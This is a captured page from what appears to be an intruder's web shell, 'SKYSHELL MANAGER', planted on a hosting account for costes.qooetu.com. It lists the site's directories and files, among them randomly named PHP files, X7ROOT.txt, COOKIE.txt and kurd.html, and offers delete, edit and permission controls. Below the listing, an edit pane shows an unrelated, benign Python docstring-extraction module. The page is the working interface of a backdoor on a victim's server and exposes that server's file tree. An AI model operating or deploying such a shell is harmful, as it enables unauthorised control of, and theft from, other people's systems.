📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: _docs_extraction.py
"""Utilities related to attribute docstring extraction.""" from __future__ import annotations import ast import inspect import textwrap from typing import Any class DocstringVisitor(ast.NodeVisitor): def __init__(self) -> None: super().__init__() self.target: str | None = None self.attrs: dict[str, str] = {} self.previous_node_type: type[ast.AST] | None = None def visit(self, node: ast.AST) -> Any: node_result = super().visit(node) self.previous_node_type = type(node) return node_result def visit_AnnAssign(self, node: ast.AnnAssign) -> Any: if isinstance(node.target, ast.Name): self.target = node.target.id def visit_Expr(self, node: ast.Expr) -> Any: if ( isinstance(node.value, ast.Constant) and isinstance(node.value.value, str) and self.previous_node_type is ast.AnnAssign ): docstring = inspect.cleandoc(node.value.value) if self.target: self.attrs[self.target] = docstring self.target = None def _dedent_source_lines(source: list[str]) -> str: # Required for nested class definitions, e.g. in a function block dedent_source = textwrap.dedent(''.join(source)) if dedent_source.startswith((' ', '\t')): # We are in the case where there's a dedented (usually multiline) string # at a lower indentation level than the class itself. We wrap our class # in a function as a workaround. dedent_source = f'def dedent_workaround():\n{dedent_source}' return dedent_source def _extract_source_from_frame(cls: type[Any]) -> list[str] | None: frame = inspect.currentframe() while frame: if inspect.getmodule(frame) is inspect.getmodule(cls): lnum = frame.f_lineno try: lines, _ = inspect.findsource(frame) except OSError: # Source can't be retrieved (maybe because running in an interactive terminal), # we don't want to error here. pass else: block_lines = inspect.getblock(lines[lnum - 1 :]) dedent_source = _dedent_source_lines(block_lines) try: block_tree = ast.parse(dedent_source) except SyntaxError: pass else: stmt = block_tree.body[0] if isinstance(stmt, ast.FunctionDef) and stmt.name == 'dedent_workaround': # `_dedent_source_lines` wrapped the class around the workaround function stmt = stmt.body[0] if isinstance(stmt, ast.ClassDef) and stmt.name == cls.__name__: return block_lines frame = frame.f_back def extract_docstrings_from_cls(cls: type[Any], use_inspect: bool = False) -> dict[str, str]: """Map model attributes and their corresponding docstring. Args: cls: The class of the Pydantic model to inspect. use_inspect: Whether to skip usage of frames to find the object and use the `inspect` module instead. Returns: A mapping containing attribute names and their corresponding docstring. """ if use_inspect: # Might not work as expected if two classes have the same name in the same source file. try: source, _ = inspect.getsourcelines(cls) except OSError: return {} else: source = _extract_source_from_frame(cls) if not source: return {} dedent_source = _dedent_source_lines(source) visitor = DocstringVisitor() visitor.visit(ast.parse(dedent_source)) return visitor.attrs
Save